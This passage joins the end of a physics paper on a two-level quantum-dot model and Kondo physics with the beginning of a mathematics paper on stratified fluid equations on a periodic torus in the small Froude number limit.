as $\epsilon_0$ is swept across the Coulomb-blockade
valley, this leaves us with the criterion
\begin{equation}
(\Gamma_{\uparrow} - \Gamma_{\downarrow})
\ln ( U/\Gamma_{\text{tot}} ) \gg
\sqrt{\Delta^2 + b^2} \, .
\label{condition-for-PL}
\end{equation}
Conversely, if $\sqrt{\Delta^2 + b^2}\gg (\Gamma_{\uparrow} -
\Gamma_{\downarrow}) \ln ( U/\Gamma_{\text{tot}} )$, then
neither a phase lapse nor an inversion of population will occur
unless parameters are fine tuned. Thus, the larger $U$ is, the
more ubiquitous phase lapses
become~\cite{Golosov06,Meden06PRL}.
Although the logarithm $\ln(U/\Gamma_{\text{tot}})$ can be made
quite large, in reality we expect it to be a moderate factor of
order one. Similarly, the difference in widths
$\Gamma_{\uparrow} - \Gamma_{\downarrow}$ is generally expected
to be of comparable magnitude to $\Gamma_{\uparrow}$. Under
these circumstances, the criterion specified in
Eq.~(\ref{condition-for-PL}) reduces to $\Gamma_{\uparrow} \gg
\sqrt{\Delta^2 + b^2}$. Namely, phase lapses and population
inversions are generic as long as the (maximal) tunnelling rate
exceeds the level spacing. This conclusion is in line with that
of a recent numerical study of multi-level quantum
dots~\cite{Karrasch06num}.
Finally, we address the effect of nonzero $h = \sqrt{\Delta^2 +
b^2}$ on the correlation-induced resonances. When $h \gg
\Gamma_{\uparrow} \ln(U/\Gamma_{\text{tot}})$, the effective
magnetic field $h_{\text{tot}} \approx h$ is large throughout
the local-moment regime, always exceeding
$\Gamma_{\uparrow}$ and $\Gamma_{\downarrow}$. Consequently,
the dot is nearly fully polarized for all $-U < \epsilon_0 <
0$, and the correlation-induced resonances are washed out.
Again, for practical values of $U/\Gamma_{\text{tot}}$ this
regime can equally be characterized by $h \gg
\Gamma_{\uparrow}$~\cite{Meden06PRL}.
The picture for $\Gamma_{\uparrow}\ln(U/\Gamma_{\text{tot}})
\gg h$ is far more elaborate. When $T_K|_{\epsilon_0 = -U/2}
\gg h$, the magnetic field is uniformly small, and no
significant modifications show up as compared with the case
where $h = 0$. This leaves us with the regime $T_K|_{\epsilon_0
= -U/2} \ll h \ll \Gamma_{\uparrow}$, where various behaviors
can occur. Rather than presenting an exhaustive discussion of
this limit, we settle with identifying certain generic features
that apply when both components $|h \cos \theta|$ and $h
\sin\theta$ exceed $T_K|_{\epsilon_0 = -U/2}$. To begin with,
whatever remnants of the correlation-induced resonances that
are left, these are shifted away from the middle of the
Coulomb-blockade valley in the direction where
$|h_{\text{tot}}^z|$ acquires its minimal value. Consequently,
$h_{\text{tot}}$ and $T_K$ no longer obtain their minimal
values at the same gate voltage $\epsilon_0$. This has the
effect of generating highly asymmetric structures in place of
the two symmetric resonances that are found for $h = 0$. The
heights of these features are governed by the ``geometric''
factors $\sin^2 (\theta_l + s_R \theta_h)$ at the corresponding
gate voltages. Their widths are controlled by the underlying
Kondo temperatures, which can differ substantially in
magnitude. Since the entire structure is shifted away from the
middle of the Coulomb-blockade valley where $T_K$ is minimal,
all features are substantially broadened as compared with the
correlation-induced resonances for $h = 0$. Indeed, similar
tendencies are seen in Fig.~5 of Ref.~\onlinecite{Meden06PRL},
even though the model parameters used in this figure lie on the
borderline between the mixed-valent and the local-moment
regimes.
\section{Concluding remarks}
\label{sec:conclusions}
We have presented a comprehensive investigation of the general
two-level model for quantum-dot devices. A proper choice of the
quantum-mechanical representation of the dot and the lead
degrees of freedom reveals an exact mapping onto a generalized
Anderson model. In the local-moment regime, the latter
Hamiltonian is reduced to an anisotropic Kondo model with a
tilted effective magnetic field. As the anisotropic Kondo model
flows to the isotropic strong-coupling fixed point, this
enables a unified description of all coupling regimes of the
original model in terms of the universal magnetization curve of
the conventional isotropic Kondo model, for which exact results
are available. Various phenomena, such as phase lapses in the
transmission phase,~\cite{Silva02,Golosov06} charge
oscillations,~\cite{Gefen04,Sindel05} and correlation-induced
resonances~\cite{Meden06PRL,Karrasch06} in the conductance, can
thus be accurately and coherently described within a single
physical framework.
The enormous reduction in the number of parameters in
the system was made possible by the key observation that
a general, possibly non-Hermitian tunnelling matrix
$\hat{A}$ can always be diagonalized with the help of
two simultaneous unitary transformations, one pertaining
the dot degrees of freedom, and the other applied to
the lead electrons. This transformation, known as the
singular-value decomposition, should have
applications in other physical problems involving
tunnelling or transfer matrices without any special
underlying symmetries.
As the two-level model for transport is quite general, it can
potentially be realized in many different ways. As already
noted in the main text, the model can be used to describe
either a single two-level quantum dot or a double quantum dot
where each dot harbors only a single level. Such realizations
require that the spin degeneracy of the electrons will be
lifted by an external magnetic field. Alternative realizations
may directly involve the electron spin. For example, consider a
single spinful level coupled to two ferromagnetic leads with
\emph{non-collinear} magnetizations. Written in a basis with a
particular \emph{ad hoc} local spin quantization axis, the
Hamiltonian of such a system takes the general form of
Eq.~\eqref{IHAM}, after properly combining the electronic
degrees of freedom in both leads. As is evident from our
discussion, the local spin will therefore experience an
effective magnetic field that is not aligned with either of the
two magnetizations of the leads. This should be contrasted with
the simpler configurations of parallel and antiparallel
magnetizations, as considered, e.g., in
Refs.~\onlinecite{Martinek03PRL,MartinekNRGferro}
and~~\onlinecite{MartinekPRB05}.
Another appealing system for the experimental observation of the
subtle correlation effects discussed in the present paper is a
carbon nanotube-based quantum dot. In such a device both charging
energy and single-particle level spacing can be
sufficiently large~\cite{Buitelaar02} to provide a set of
well-separated discrete electron states. Applying external
magnetic field either perpendicular~\cite{Nygard00} or/and
parallel~\cite{HerreroSU4} to the nanotube gives great
flexibility in tuning the energy level structure, and thus
turns the system into a valuable testground for probing
the Kondo physics addressed in this study.
Throughout this paper we confined ourselves to spinless
electrons, assuming that spin degeneracy has been lifted by an
external magnetic field. Our mapping can equally be applied to
spinful electrons by implementing an identical singular-value
decomposition to each of the two spin orientations separately
(assuming the tunnelling term is diagonal in and independent of
the spin orientation). Indeed, there has been considerable
interest lately in spinful variants of the Hamiltonian of
Eq.~(\ref{IHAM}), whether in connection with lateral quantum
dots,~\cite{Kondo2stage,HofstetterZarand04} capacitively
coupled quantum dots,~\cite{KondoSU4,LeHuretal05,Galpinetal06}
or carbon nanotube devices~\cite{AguadoPRL05}. Among the
various phenomena that have been discussed in these contexts,
let us mention SU(4) variants of the Kondo
effect~\cite{KondoSU4,LeHuretal05,AguadoPRL05}, and
singlet-triplet transitions with two-stage screening on the
triplet side~\cite{Kondo2stage,HofstetterZarand04}.
Some of the effects that have been predicted for the
spinful case were indeed observed in lateral semiconductor
quantum dots~\cite{vanderWiel02,Granger05} and in carbon nanotube
quantum dots~\cite{HerreroSU4}. Still, there remains a
distinct gap between the idealized models that have been
employed, in which simplified symmetries are often imposed
on the tunnelling term, and the actual experimental systems
that obviously lack these symmetries. Our mapping should
provide a much needed bridge between the idealized models
and the actual experimental systems. Similar to the present
study, one may expect a single unified description
encompassing all coupling regimes in terms of just
a few basic low-energy scales. This may provide valuable
guidance for analyzing future experiments on such
devices.
\begin{acknowledgments}
The authors are thankful to V. Meden for kindly providing the
numerical data for the inset in Fig.~\ref{fig:CIR}. VK is
grateful to Z.~A.~N\'{e}meth for stimulating discussions of
perturbative calculations. This research was supported by a
Center of Excellence of the Israel Science Foundation, and by a
grant from the German Federal Ministry of Education and
Research (BMBF) within the framework of the German-Israeli
Project Cooperation (DIP). We have recently become aware of a
related study by Silvestrov and Imry,~\cite{SI-06} which
independently develops some of the ideas presented in this
work.
\end{acknowledgments}
|
1,477,468,750,014 | arxiv | \section{Introduction}
In this paper, we want to study the motion of an incompressible, inhomogeneous fluid whose density profile is considered to be a perturbation around a stable state, which is describe be the following system
\begin{equation} \label{PBSe} \tag{PBS$_\varepsilon$}
\left\lbrace
\begin{aligned}
&\partial_t v^\varepsilon + v^\varepsilon \cdot\nabla v^\varepsilon -\nu \Delta v^\varepsilon -\displaystyle\frac{1}{\varepsilon} \rho^\varepsilon \overrightarrow{e}_3 &=& -\displaystyle \frac{1}{\varepsilon} \nabla \Phi^\varepsilon,\\
&\partial_t \rho^\varepsilon + v^\varepsilon \cdot\nabla \rho^\varepsilon + \displaystyle\frac{1}{\varepsilon} v^{3,\varepsilon} & =& \;0,\\
&\textnormal{div}\; v^\varepsilon =\;0,\\
& \left. \left( v^\varepsilon, \rho^\varepsilon \right)\right|_{t=0}= \left( v_0, \rho_0 \right),
\end{aligned}
\right.
\end{equation}
in the regime where the Froude number $ \varepsilon\to 0 $. Here, the vector field $v^\varepsilon$ and the scalar function $\rho^\varepsilon$ represent respectively the velocity and the density of the fluid and $\nu$ stands for the viscosity. For a more detailed discussion about the physical motivation and the derivation of the model, we refer to \cite{Scrobo_Froude_periodic}, \cite{Scrobo_Froude_FS}, \cite{Scrobo_thesis}. We also refer to the monographs \cite{cushman2011introduction} and \cite{Pedlosky87} for a much wider survey on geophysical models.
Let us give some brief comments about the system \eqref{PBSe}. In a nutshell, there are two forces which constrain the motion of a fluid on a geophysical scale: the Coriolis force and the gravitational stratification. The predominant influence of one force, the other, or both gives rise to substantially different dynamics.
The \emph{Coriolis force} (see \cite{SM89} for a detailed analysis of such force) is due to the rotation of the Earth around its axis and acts perpendicularly to the motion of the fluid. If the magnitude of the force is sufficiently large (when the rotation is fast or the scale is large for example), the Coriolis force ``penalizes'' the vertical dynamics of the fluid and makes it move in rigid columns (the so-called \emph{Taylor columns}). This tendency of a rotating fluid to displace in vertical homogeneous columns is generally known as \textit{Taylor-Proudmann theorem}, which was first derived by Sidney Samuel Hough (1870-1923), a mathematician at Cambridge in the work \cite{Hough1897}, but it was named after the works of G.I. Taylor \cite{Taylor1917} and Joseph
Proudman \cite{Proudman1916}. On a mathematical point of view, the Taylor-Proudman effect for homogeneous, fast rotating fluids is a rather well understood after the works \cite{BMN1}, \cite{BMNresonantdomains}, \cite{CDGG2}, \cite{Gallagher_schochet} and \cite{grenierrotatingeriodic}. In such setting, we mention as well the work \cite{GallagherSaint-Raymondinhomogeneousrotating} in which, the authors consider an inhomogeneous rotation and the works \cite{FGG-VN}, \cite{FGN} and \cite{Scrobo_Ngo} in which fast rotation was considered simultaneously with weak compressibility.
Beside the rotation, one can consider a fluid which is inhomogeneous and whose density profile is a linearization around a stable state, we refer to \cite{Charve_thesis}, \cite{cushman2011introduction} and references therein for a thorough derivation of the model. In such situation, we can imagine that the rotation effects and stratification effects are equally relevant: the system describing such effect is known as \textit{primitive equations} (see \cite{Charve_thesis} and \cite{cushman2011introduction}). The primitive equations and their asymptotic dynamic as stratification and rotation tend to infinity at a comparable rate are as well rather well understood on a mathematical viewpoint: we refer to the works \cite{charve1}, \cite{charve2}, \cite{charve4}, \cite{charve3}, \cite{charve_ngo_primitive}, \cite{chemin_prob_antisym}, \cite{Gallagher_schochet}, \cite{Scrobo_primitive_horizontal_viscosity_periodic} and references therein.
\medskip
Now, we will briefly discuss the \emph{gravitational stratification} effect, which is the main physical phenomenon concerning the system \eqref{PBSe} for a inhomogeneous fluid, subjected to a gravitational force pointing downwards. Gravity force tends to lower the regions of the fluid with higher density and raise the regions with lower density, trying finally to dispose the fluid in horizontal stacks of vertically decreasing density. A fluid in such configuration (density profile which is a decreasing function of the variable $ x_3 $ only) is said to be in a \textit{configuration of equilibrium}.
Let hence consider a fluid in a configuration of equilibrium and let us imagine to raise a small parcel of the fluid with high density in a region of low density. Since such parcel is much heavier (in average) than the fluid surrounding it, the gravity force will induce a downwards motion. Such motion does not stop until the parcel reaches a layer whose density is comparable to its own, and inertially it will continue to move downwards until sufficient buoyancy is provided to invert the motion, due to Archimedes principle. This kind of perturbation of an equilibrium state induces hence a pulsating motion which is described by the linear application
\begin{equation} \label{eq:stratification_buoyancy}
\pare{u^{1, \varepsilon}, u^{2, \varepsilon}, u^{3, \varepsilon}, \rho^{\varepsilon}} \mapsto \frac{1}{\varepsilon} \pare{0, 0, -\rho^{\varepsilon}, u^{3, \varepsilon}},
\end{equation}
which appears in \eqref{PBSe}. The application \eqref{eq:stratification_buoyancy} is called \textit{stratification buoyancy} and we will base our analysis on the dispersive effects induced by such perturbation.
To the best of our knowledge, there are not many results concerning the effects of the stratification buoyancy. In \cite{embid_majda2}, there was a first attempt to perform a multiscale analysis when Rossby and Froude number are in different regimes, while in \cite{Scrobo_Froude_FS} and \cite{Widmayer_Boussinesq_perturbation}, the authors studied the convergence and stability of solutions of \eqref{PBSe} when the Froude number $ \varepsilon\to 0 $ in the whole space $ \mathbb{R}^3 $. In \cite{Scrobo_Froude_periodic} the system \eqref{PBSe} is studied in nonresonant domains when the initial data has zero horizontal average.
\medskip
In this paper, the unknowns $\pare{ v^\varepsilon, \rho^\varepsilon }$ are considered to be functions in the variables $\pare{ x, t }\in \mathbb{T}^3\times \mathbb{R}_+ $ being the space domain $\mathbb{T}^3$ the three-dimensional periodic box
\begin{equation*}
\mathbb{T}^3 = \prod_{i=1}^3 \mathbb{R} \left/ a_i \mathbb{Z} \right. , \hspace{1cm} a_i \in \mathbb{R}.
\end{equation*}
Compared to \cite{Scrobo_Froude_periodic}, we consider the much more general case with the following additional difficulties
\begin{enumerate}
\item \label{enumerate:punto1} Initial data are considered with generic horizontal average. This point seem marginal, but as showed in this paper, the dynamics induced by initial data with nonzero horizontal average create additional vertical gravitational perturbations, the control of which is highly non-trivial (see as well \cite{GS3}).
\item \label{enumerate:punto2} Generic space domain may present resonant effects.
\item \label{enumerate:punto3} Density profiles are only transported and do not satisfy a transport-diffusion equation and so do not possess smoothing effects.
\end{enumerate}
\noindent From now on we rewrite the system \eqref{PBSe} in the following more compact form
\begin{equation} \tag{\ref{PBSe}}
\left\lbrace
\begin{aligned}
& {\partial_t V^\varepsilon}+ v^\varepsilon \cdot \nabla V^\varepsilon - \mathcal{A}_2\pare{D}V^\varepsilon + \frac{1}{\varepsilon}\mathcal{A} V^\varepsilon = -\frac{1}{\varepsilon} \left( \begin{array}{c} \nabla \Phi^\varepsilon\\ 0 \end{array} \right),\\
& V^\varepsilon=\left( v^\varepsilon,\theta^\varepsilon \right),\\
&\textnormal{div}\; v^\varepsilon=0,\\
& \left. V^\varepsilon \right|_{t=0}= V_0,
\end{aligned}
\right.
\end{equation}
where
\begin{align}\label{matrici}
\mathcal{A}= & \left( \begin{array}{cccc}
0&0&0&0\\
0&0&0&0\\
0&0&0&1\\
0&0&-1&0\\
\end{array} \right),
&
\mathcal{A}_2\pare{D} =& \left( \begin{array}{cccc}
\nu\Delta&0&0&0\\
0&\nu\Delta&0&0\\
0&0&\nu\Delta&0\\
0&0&0&0\\
\end{array} \right).
\end{align}
The additional difficulties \eqref{enumerate:punto1}--\eqref{enumerate:punto3} listed above are the main difficulties in the present work and they modify significantly the dynamic of \eqref{PBSe} compared to the results proved in \cite{Scrobo_Froude_periodic}, as already mentioned. Let us hence start describing the effects induced by the hypothesis made in the point \ref{enumerate:punto1}: we will see in the following that the dynamics of the solutions of \eqref{PBSe} in the limit regime $ \varepsilon \to 0 $ is essentially governed by the effects of the outer force $ \varepsilon^{-1}\mathcal{A} V^{\varepsilon} $.
\subsection{A survey on the notation adopted.}\label{sec:notation_and_results}
All along this note we consider real valued vector fields, i.e. applications $ V:\mathbb{R}_+\times \mathbb{T}^3 \to \mathbb{R}^4 $. We will often associate to a vector field $V$ the vector field $v$ which shall be simply the projection on the first three components of $V$. The vector fields considered are periodic in all their directions and they have zero global average $ \int_{\mathbb{T}^3} V \textnormal{d}{x}=0 $, which is equivalent to assume that the first Fourier coefficient $ \hat{V} \left( 0 \right)=0 $. We remark that the zero average propriety stated above is preserved in time $t$ for both Navier-Stokes \ equations as well as for the system \eqref{PBSe}.\\
Let us define the Sobolev space $ {{{H}^s\left( \T^3 \right)}} $, which consists in all the tempered distributions $ u $ such that
\begin{equation}
\label{eq:non-hmogeneous_Sobolev_norms}
\left\| u \right\|_{{{H}^s\left( \T^3 \right)}}= \left( \sum_{n\in\mathbb{Z}^3}\left(1+ \left| \check{n} \right|^{2} \right)^{s}\left| \hat{u}_n \right|^2 \right)^{1/2}<\infty.
\end{equation}
Since we shall consider always vector fields whose average is null the Sobolev norm defined above in particular is equivalent to the following semi-norm
$$
\left\| \left( -\Delta \right)^{s/2} u \right\|_{{L^2\left(\mathbb{T}^3\right)}} \sim \left\| u \right\|_{{{H}^s\left( \T^3 \right)}}, \hspace{1cm}s\in\mathbb{R},
$$
which appears naturally in parabolic problems.\\
Let us define the operator $\mathbb{P}$ as the three dimensional Leray operator $\mathbb{P}^{(3)}$ wich leaves untouched the fourth component, i.e.
\begin{equation}
\label{eq:newLeray} \mathbb{P}= \left(
\begin{array}{c|c}
1-{\Delta^{-1}}{\partial_i\partial_j}& 0\\ \hline
0 & 1
\end{array}\right)_{i,j=1,2,3}= \left( \begin{array}{c|c}
\mathbb{P}^{(3)} & 0 \\ \hline
0 & 1
\end{array} \right).
\end{equation}
The operator $ \mathbb{P} $ is a pseudo-differential operator, in the Fourier space its symbol is
\begin{equation}
\label{Leray projector}
\mathbb{P}_n= \left(
\begin{array}{c|c}
\delta_{i,j}-\dfrac{\check{n}_i\; \check{n}_j}{ \left| \check{n} \right|^2}& 0\\[4mm] \hline
0 & 1
\end{array}\right)_{i,j=1,2,3},
\end{equation}
where $ \delta_{i,j} $ is Kronecker's delta and $ \check{n}_i=n_i/a_i, \left| \check{n} \right|^2= \sum_i \check{n}_i^2$.\\
\subsection{Results}
Being the operator $\mathcal{A}$ skew-symmetric it is possible to apply energy methods to the system \eqref{PBSe} in the same fashion as it is done in \cite[Chapter 4]{BCD} for quasilinear symmetric hyperbolic systems. Being this the case we can deduce the following local existence result
\begin{theorem}\label{thm:local}
Let $V_0\in {{H}^s\left( \mathbb{T}^3 \right)}$ where $s>3/2$, there exist a $T^\star >0$ such that for every $T\in \left[0, T^\star \right)$ the system \eqref{PBSe} admits a unique solution in the energy space
\begin{equation*}
\mathcal{C} \pare{ \left[0, T \right]; {{H}^s\left( \mathbb{T}^3 \right)} }\cap \mathcal{C}^1 \pare{ \left[0, T \right]; H^{s-1}\pare{\mathbb{T}^3} }.
\end{equation*}
Moreover there exist a positive constant $ c $ such that
\begin{equation*}
T > \frac{c}{\norm{V_0}_{{{H}^s\left( \mathbb{T}^3 \right)}}},
\end{equation*}
and the maximal time of existence $ T^\star $ is independent of $ \varepsilon $ and $ s $ and, if $ T^\star < \infty $, then
\begin{equation}\label{eq:BU_criterion}
\int_0^{T^\star} \norm{\nabla U^\varepsilon \pare{t}}_{L^\infty \pare{\mathbb{T}^3}}\textnormal{d} t < \infty.
\end{equation}
\end{theorem}
From now on we adopt the following notation: let us consider a vector field $A$, we denote as $\underline{A}= \underline{A} \pare{ x_3 } $ the horizontal average of $A$ defined as
\begin{equation*}
\underline{A} \pare{ x_3 } = \frac{1}{4\pi^2 a_1a_2} \int_{\mathbb{T}^2_h} A \pare{ y_h, x_3 } \textnormal{d} y_h,
\end{equation*} and by $\tilde{A}=\tilde{A}\pare{ x_h, x_3 }$ the horizontal oscillation of $A$ defined as
\begin{equation}\label{eq:bar-tilde_dec}
\tilde{A}\pare{ x_h, x_3 }= A \pare{ x_h, x_3 } - \underline{A}\pare{ x_3 }.
\end{equation}
Let us now define the operator
\begin{equation}\label{eq:def_L}
\mathcal{L} \pare{ \tau }= e^{-\tau \mathbb{P}\mathcal{A}},
\end{equation}
where the matrices $\mathbb{P}$ and $\mathcal{A}$ are defined respectively in \eqref{Leray projector} and \eqref{matrici}, the result we prove is the following;
\begin{theorem}\label{thm:main_result}
Let $V_0$ be in ${{H}^s\left( \mathbb{T}^3 \right)}$ for $s>9/2 \pare{=\frac{d}{2}+3}$. Let us define
\begin{align*}
\underline{V_0} & = \frac{1}{2\pi^2 a_1 a_2} \int_{\mathbb{T}^2_h} V_0\pare{y_h, x_3}\textnormal{d} y_h, \\
\overline{u}^h_0 & = \pare{\begin{array}{c}
-\partial_2\\ \partial_1
\end{array} } \pare{-\Delta_h}^{-1} \pare{-\partial_2 V_0^1+\partial_1 V_0^2}, \\
\overline{U}_0 & = \pare{\overline{u}^h_0, 0, 0}^\intercal, \\
U_{\textnormal{osc}, 0} & = V_0 - \overline{U}_0 - \underline{V_0}.
\end{align*}
There exists a $ \varepsilon_0 > 0 $ such that for each $ \varepsilon\in \pare{0, \varepsilon_0} $
\begin{equation*}
V^\varepsilon = \underline{U} + \bar{U} + \mathcal{L}\left(\frac{t}{\varepsilon}\right) U_{\textnormal{osc}} + o_\varepsilon \pare{ 1 }\hspace{1cm} \text{in } \ \mathcal{C}_{\textnormal{loc}} \pare{ \mathbb{R}_+; H^{s-2}\pare{\mathbb{T}^3}},
\end{equation*}
where $\underline{U}= \pare{ \underline{u}^h, 0, \underline{U}^4 }= \pare{ \underline{U}^1, \underline{U}^2, 0, \underline{U}^4 } $, $ \bar{U}= \pare{ \overline{u}^h, 0, 0 } = \pare{ \bar{u}^1, \bar{u}^2, 0, 0 }$ and $U_{\textnormal{osc}}$ solve the systems
\begin{align}\label{eq:Uunder_heat2D
&\left\lbrace
\begin{aligned}
& \partial_t \underline{u}^h \left( x_3, t \right) - \nu \partial_3 ^2 \underline{u}^h \left( x_3 , t \right) =0,\\
& \underline{U}^4 \pare{ x_3, t } = \underline{V_0^4},\\
& \left. \underline{u}^h \right|_{t=0}= \underline{V_0^h},\\
& \left. \underline{U}^4 \right|_{t=0}= \underline{V_0^4},
\end{aligned}
\right.
\\
&\label{eq:Uover_2DstratNS}
\left\lbrace
\begin{aligned}
&
\begin{multlined}
\partial_t \overline{u}^h \left( t, x_h, x_3 \right) + \overline{u}^h\left( t, x_h, x_3 \right) \cdot \nabla_h \overline{u}^h \left( t, x_h, x_3 \right) + \underline{u}^h \left( t, x_3 \right)\cdot \nabla_h \overline{u}^h \left( t, x_h, x_3 \right)
\\
- \nu \Delta \overline{u}^h\left( t, x_h, x_3 \right) = -\nabla_h \bar{p} \left( t, x_h, x_3 \right)
\end{multlined}
\\
& \textnormal{div}_h\; \overline{u}^h \left( x_h, x_3 \right) =0,\\
& \left. \overline{u}^h\left( t, x_h, x_3 \right) \right|_{t=0}=\overline{u}^h_0\left( x_h, x_3 \right).
\end{aligned}
\right.
\\
&\label{eq:lim_Uosc}
\left\lbrace
\begin{aligned}
&\partial_t U_{\textnormal{osc}} +\widetilde{\mathcal{Q}}_1\left(U_{\textnormal{osc}} +2 \bar{U}, U_{\textnormal{osc}} \right) +\mathcal{B} \left( \underline{U}, U_{\textnormal{osc}} \right) - \nu \Delta U_{\textnormal{osc}} =0,\\
& \textnormal{div}\; U_{\textnormal{osc}}=0, \\
&\left. U_{\textnormal{osc}} \right|_{t=0}=U_{{\textnormal{osc}}, 0}.
\end{aligned}
\right.
\end{align}
Where $\mathcal{B}$ and $\mathcal{Q}$ are specific localizations of the transport form, whose explicit expression is given by the equations \eqref{eq:tQ2_e+-} and \eqref{eq:limit_cQ1} and are here omitted for the sake of clarity.
\end{theorem}
\begin{rem} \label{rem:propagation_parabolicity}
It is interesting to remark that, despite $V^\varepsilon$ is the solution of the parabolic-hyperbolic system \eqref{PBSe}, it is well defined in the space $\mathcal{C} \pare{ [0,T]; H^s }$ for $s>9/2$ and $ T>0 $. This improvement of regularity is known as propagation of parabolicity: such name is motivated by the fact that the limit equations \eqref{eq:Uover_2DstratNS} and \eqref{eq:lim_Uosc} are strictly parabolic and we can prove they are globally well posed in some suitable energy space of subcritical regularity. A similar phenomenon takes place as well in the study of the incompressible limit for weakly compressible fluids, we refer the reader to the works \cite{DanchinCompressible} and \cite{Gallagher_incompressible_limit}.
\end{rem}
\begin{rem}\label{rem:smoothness_bilinear_Fourier}
Equation \eqref{eq:lim_Uosc} is a nonlinear three-dimensional parabolic equation. The nonlinearity $\widetilde{\mathcal{Q}}_1$ is a modified, symmetric transport form which assumes the following explicit form
\begin{equation*}
\widetilde{\mathcal{Q}}_1 \pare{ A, B } = \frac{1}{2} \chi \pare{ D } \pare{ A\cdot \nabla B + B \cdot \nabla A },
\end{equation*}
where $\chi$ is a Fourier multiplier of order zero which localizes bilinear interactions on a very specific frequency set. Following the theory of the three-dimensional Navier-Stokes \ equations we do not expect hence \eqref{eq:lim_Uosc} to be globally well-posed. Despite this, we shall see that the zero-order Fourier multiplier $ \chi\left( D \right) $ has in fact a nontrivial smoothing effect, which makes the bilinear interaction $ \widetilde{\mathcal{Q}}_1 \left( U_{\textnormal{osc}}, U_{\textnormal{osc}} \right) $ smoother than $ U_{\textnormal{osc}}\cdot \nabla U_{\textnormal{osc}} $.
\end{rem}
\subsection{Elements of Littlewood-Paley theory.}\label{elements LP}
A tool that will be widely used all along the paper is the theory of Littlewood--Paley, which consists in doing a dyadic cut-off of the frequencies.\\
Let us define the (non-homogeneous) truncation operators as follows:
\begin{align*}
\triangle_q u= & \sum_{n\in\mathbb{Z}^3} \hat{u}_n \varphi \left(\frac{\left|\check{n}\right|}{2^q}\right) e^{i\check{n} \cdot x}, &\text{for }& q\geqslant 0,\\
\triangle_{-1}u=& \sum_{n\in\mathbb{Z}^3} \hat{u}_n \chi \left( \left|\check{n} \right| \right)e^{i\check{n} \cdot x},\\
\triangle_q u =& 0, &\text{for }& q\leqslant -2,
\end{align*}
where $u\in\mathcal{D}'\left(\mathbb{T}^3 \right)$ and $\hat{u}_n$ are the Fourier coefficients of $u$. The functions $\varphi$ and $\chi$ represent a partition of the unity in $\mathbb{R}$, which means that are smooth functions with compact support such that
\begin{align*}
\text{supp}\;\chi \subset&\; B \left(0,\frac{4}{3}\right), & \text{supp}\;\varphi \subset& \;\mathcal{C}\left( \frac{3}{4},\frac{8}{3}\right),
\end{align*}
and such that for all $t\in\mathbb{R}$,
$$
\chi\left( t\right) +\sum_{q\geqslant 0} \varphi \left( 2^{-q}t\right)=1.
$$
Let us define further the low frequencies cut-off operator
$$
S_q u= \sum_{q'\leqslant q-1}\triangle_{q'} u.
$$
\subsubsection{Paradifferential calculus.}\label{paradifferential calculus}
The dyadic decomposition turns out to be very useful also when it comes to study the product betwee two distributions. We can in fact, at least formally, write for two distributions $u$ and $v$
\begin{align}\label{decomposition vertical frequencies}
u=&\sum_{q\in\mathbb{Z}} \triangle_q u ; &
v=&\sum_{q'\in\mathbb{Z}} \triangle_{q'} v;&
u\cdot v = & \sum_{\substack{q\in\mathbb{Z} \\ q'\in\mathbb{Z}}}\triangle_q u \cdot \triangle_{q'} v.
\end{align}
We are going to perform a Bony decomposition (see \cite{BCD}, \cite{Bony1981}, \cite{chemin_book} for the isotropic case and \cite{CDGG2},\cite{iftimie_NS_perturbation} for the anisotropic one).
\\
Paradifferential calculus is a mathematical tool for splitting the above sum in three parts
\begin{itemize}
\item The first part concerns the indices $\left(q,q'\right)$ for which the size of $\text{ supp}\;\mathcal{F}\left( \triangle_q u\right)$ is small compared to $\text{supp}\;\mathcal{F}\left( \triangle_{q'} v\right)$.
\item The second part contains the indices corresponding to those frequencies of $u$ which are large compared to those of $v$.
\item In the last part $\text{supp}\;\mathcal{F}\left( \triangle_{q'} v\right)$ and $\text{ supp}\;\mathcal{F}\left( \triangle_q u\right)$ have comparable sizes.
\end{itemize}
In particular we obtain
$$
u\cdot v = T_u v+ T_v u + R\left(u,v\right),
$$
where
\begin{align*}
T_u v=& \sum_q S_{q-1} u\; \triangle_q v,&
T_v u= & \sum_{q'} S_{q'-1} v \; \triangle_{q'} u,&
R\left( u,v \right) = & \sum_k \sum_{\left| \nu\right| \leqslant 1} \triangle_k u\; \triangle_{k+\nu} v.
\end{align*}
The following almost orthogonality properties hold
\begin{align*}
\triangle_q \left( S_q a \triangle_{q'} b\right)=&0, & \text{if }& \left|q-q'\right|\geqslant 5, \\
\triangle_q \left( \triangle_{q'} a \triangle_{q'+\nu}b\right)=&0, & \text{if }& q'> q-4,\; \left| \nu \right|\leqslant 1,
\end{align*}
and hence we will often use the following relation
\begin{align}
\triangle_q\left( u\cdot v \right)= &\sum_{\left| q -q'\right| \leqslant 4} \triangle_q\left(S_{q'-1} v\; \triangle_{q'} u\right) +
\sum_{\left| q -q'\right| \leqslant 4} \triangle_q\left(S_{q'-1} u\; \triangle_{q'} v\right)+
\sum_{q'\geqslant q-4}\sum_{|\nu|\leqslant 1}\triangle_q\left( \triangle_{q'} a \triangle_{q'+\nu}b\right)\nonumber ,\\
=& \sum_{\left| q -q'\right| \leqslant 4} \triangle_q\left(S_{q'-1} v \; \triangle_{q'} u\right) + \sum_{q'>q-4} \triangle_q\left( S_{q'+2} u \triangle_{q'} v\right).\label{Paicu Bony deco}
\end{align}
There is an interesting relatoin of regularity between dyadic blocks and full function in the Sobolev spaces, i.e.
\begin{equation}
\label{regularity_dyadic}
\left\| \triangle_q f \right\|_{{L^2\left(\mathbb{T}^3\right)}} \leqslant C c_q (f) 2^{-qs}\left\| f \right\|_{{{H}^s\left( \T^3 \right)}},
\end{equation}
with $ \left\| \left\lbrace c_q \right\rbrace_{q\in\mathbb{Z}} \right\|_{\ell^2\left( \mathbb{Z} \right)}\equiv 1 $. In the same way we denote as $ b_q $ a sequence in $ \ell^1 \left( \mathbb{Z} \right) $ such that $ \sum_q \left| b_q \right| \leqslant 1$.\\
The interest in the use of the dyadic decomposition is that the derivative of a function localized in frequencies of size $2^q$ acts like the multiplication with the factor $2^q$ (up to a constant independent of $q$). In our setting (periodic case) a Bernstein type inequality holds. For a proof of the following lemma in the anisotropic (hence as well isotropic) setting we refer to the work \cite{iftimie_NS_perturbation}. For the sake of self-completeness we state the result in both isotropic and anisotropic setting.
\begin{lemma}\label{bernstein inequality}
Let $u$ be a function such that $\mathcal{F}u $ is supported in $ 2^q\mathcal{C}$, where $\mathcal{F}$ denotes the Fourier transform. For all integers $k$ the following relation holds
\begin{align*}
